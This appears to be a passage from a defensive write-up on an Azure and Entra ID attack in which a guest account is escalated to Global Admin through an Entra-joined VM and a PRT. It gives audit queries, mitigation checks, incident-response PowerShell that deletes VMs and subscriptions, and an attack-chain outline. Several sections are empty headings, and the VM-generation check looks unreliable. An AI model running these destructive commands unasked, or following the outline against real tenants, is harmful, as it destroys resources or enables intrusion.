Query: Guest Account Invitation and Subscription Ownership Changes

Search-UnifiedAuditLog -Operations "Invite user","Confirm invited user","Add user to group","Assign role" `
    -UserType Guest -StartDate (Get-Date).AddDays(-30) -EndDate (Get-Date)

Manual Configuration Steps (Enable Unified Audit Log):

  1. Navigate to Microsoft Purview Compliance Portal (compliance.microsoft.com)
  2. Go to Audit (left menu)
  3. If not enabled, click Turn on auditing (this may take up to 24 hours to activate)
  4. Wait 24 hours for log retention to activate

Manual Configuration Steps (Search Audit Logs):

  1. Go to AuditSearch
  2. Set Date range: Last 30 days
  3. Under Activities, select: Invite user, Add user to role
  4. Under Users, enter: leave blank (to search all users)
  5. Click Search
  6. Review results for guests being invited and assigned roles
  7. Export results: ExportDownload all results

PowerShell Alternative (Continuous Monitoring):

# Connect to Exchange Online
Connect-ExchangeOnline

# Search for guest invitations in last 7 days
$auditLogs = Search-UnifiedAuditLog -Operations "Invite user" -StartDate (Get-Date).AddDays(-7) -EndDate (Get-Date)

# Export to CSV
$auditLogs | Export-Csv -Path "C:\Audit\guest_invitations.csv" -NoTypeInformation

# Alert on high volume of guest invitations (> 10 in 24 hours)
if ($auditLogs.Count -gt 10) {
    Write-Warning "Unusual number of guest invitations detected: $($auditLogs.Count)"
}

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL - Restrict Guest Account Permissions

Priority 2: HIGH - Monitor Guest Activity and Device Changes

Access Control & Policy Hardening

Validation Command (Verify Fixes Are Active)

# Check that mitigations are in place
Connect-MgGraph -Scopes "Directory.Read.All", "Policy.Read.All"

# 1. Verify guest invitation restrictions
Write-Host "=== Guest Invitation Restrictions ==="
(Get-MgPolicyAuthorizationPolicy).AllowInvitesFrom

# 2. Verify device registration restrictions
Write-Host "=== Device Registration Restrictions ==="
Get-MgDeviceRegistrationPolicy | Select-Object -ExpandProperty UserExperienceSettings

# 3. Verify Conditional Access policies exist
Write-Host "=== Active Conditional Access Policies ==="
Get-MgIdentityConditionalAccessPolicy | Where-Object { $_.State -eq "enabled" } | Select-Object DisplayName

# 4. Verify no Gen 1 VMs exist (if Gen 2 enforcement is in place)
Write-Host "=== VM Generation Check ==="
Get-AzVM | Select-Object Name, @{Name="Generation"; Expression={if($_.StorageProfile.OsDisk.ManagedDisk.Id -match 'gen2') {"Gen2"} else {"Gen1"}}}

# Expected output for all checks: Indicates mitigations are active

What to Look For:


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate (Immediate Action):

    Command (Azure - Stop VM):

    Stop-AzVM -ResourceGroupName "evil-vm-rg" -Name "evil-vm-001" -Force
    # Or delete entirely
    Remove-AzVM -ResourceGroupName "evil-vm-rg" -Name "evil-vm-001" -Force
    

    Manual (Azure Portal):

    • Go to Azure PortalVirtual Machines → Select VM → Stop or Delete
    • Ensure Delete associated resources is checked

    Command (Entra ID - Disable Device):

    Connect-MgGraph -Scopes "Device.ReadWrite.All"
    $device = Get-MgDevice -Filter "displayName eq 'evil-vm-001'"
    Update-MgDevice -DeviceId $device.Id -AccountEnabled $false
    

    Command (Entra ID - Revoke PRT Sessions):

    # Revoke all refresh tokens for compromised user
    Connect-MgGraph -Scopes "User.ReadWrite.All"
    Revoke-MgUserRefreshToken -UserId (Get-MgUser -Filter "mail eq 'phished.admin@company.com'").Id
    
  2. Collect Evidence (Within 1 Hour):

    Command (Export Azure Activity Logs):

    # Export activity logs for the past 24 hours
    Get-AzActivityLog -StartTime (Get-Date).AddDays(-1) -ResourceGroup "evil-vm-rg" `
        | Export-Csv -Path "C:\Evidence\azure_activity.csv"
    

    Command (Export Entra ID Audit Logs):

    Connect-MgGraph -Scopes "AuditLog.Read.All"
        
    # Export audit logs for guest operations
    $auditLogs = Get-MgAuditLogDirectoryAudit -Filter "displayName eq 'Invite user'" `
        -Top 1000
    $auditLogs | Export-Csv -Path "C:\Evidence\audit_logs_guests.csv"
    

    Command (Export SignInLogs for Phished User):

    Get-MgAuditLogSignIn -Filter "userPrincipalName eq 'phished.admin@company.com'" `
        -All -Top 500 | Export-Csv -Path "C:\Evidence\signin_logs.csv"
    

    Manual (Azure Portal):

    • Go to Activity Log → Filter by relevant time range and resource group → Export to CSV
    • Go to Entra IDAudit logs → Filter by User/Operation → Download Results
    • Go to Azure PortalAzure Virtual Machines → Select VM → Run command to capture state (optional, before deletion)
  3. Remediate (Within 4 Hours):

    Command (Force Password Reset for All Admins):

    # Reset password for compromised admin
    Connect-MgGraph -Scopes "UserAuthenticationMethod.ReadWrite.All"
        
    $userId = (Get-MgUser -Filter "mail eq 'phished.admin@company.com'").Id
    Reset-MgUserPassword -UserId $userId -NewPassword (New-Guid).Guid
    

    Command (Disable Compromised Guest Account):

    # Disable guest account that was used for subscription owner privilege
    $guestId = (Get-MgUser -Filter "mail eq 'attacker.guest@outlook.com'").Id
    Update-MgUser -UserId $guestId -AccountEnabled $false
    

    Command (Remove Subscription Owner Access):

    # Remove guest from subscription owner role
    Get-AzRoleAssignment -Scope "/subscriptions/$subscriptionId" -ObjectId $guestId `
        | Remove-AzRoleAssignment
    

    Command (Delete Compromised Subscription):

    # If subscription was created by attacker and contains no legitimate resources
    Remove-AzSubscription -SubscriptionId $subscriptionId -Force
    

    Manual (Azure Portal):

    1. Reset admin password: Entra ID → Users → Select user → Reset password
    2. Disable guest: Entra ID → Users → Select guest → Edit properties → Account enabled: OFF
    3. Remove RBAC roles: IAM → Remove all role assignments for guest
    4. Delete subscription: Cost Management + Billing → Select subscription → Cancel/Delete

Step Phase Technique Description
1 Initial Access REALWORLD-001 Initial Guest Account Compromise Attacker compromises or invites B2B guest account via phishing, helpdesk social engineering, or password spray
2 Lateral Movement [REALWORLD-013] Evil VM Device Identity Guest account invited to target tenant, subscription transferred, Gen 1 VM created and Entra ID-joined
3 Credential Access REALWORLD-014 PRT Device Identity Manipulation Device certificate extracted, phishing attack on admin for refresh token, refresh token upgraded to PRT
4 Privilege Escalation REALWORLD-015 Guest to Admin Azure VM PRT used to authenticate as phished admin, Global Admin access obtained
5 Persistence Service Principal Creation, Conditional Access Modification Attacker creates backdoor service principal, disables MFA requirements, modifies Conditional Access policies
6 Impact Data Exfiltration from M365, On-Premises AD Compromise Attacker accesses SharePoint, Teams, Exchange; pivots to on-premises via federation tokens or Kerberos delegation

17. REAL-WORLD EXAMPLES

Example 1: BeyondTrust Research (2025) - Evil VM Attack

Example 2: Microsoft Defender for Cloud Alert (2025) - Guest Attempting VM Creation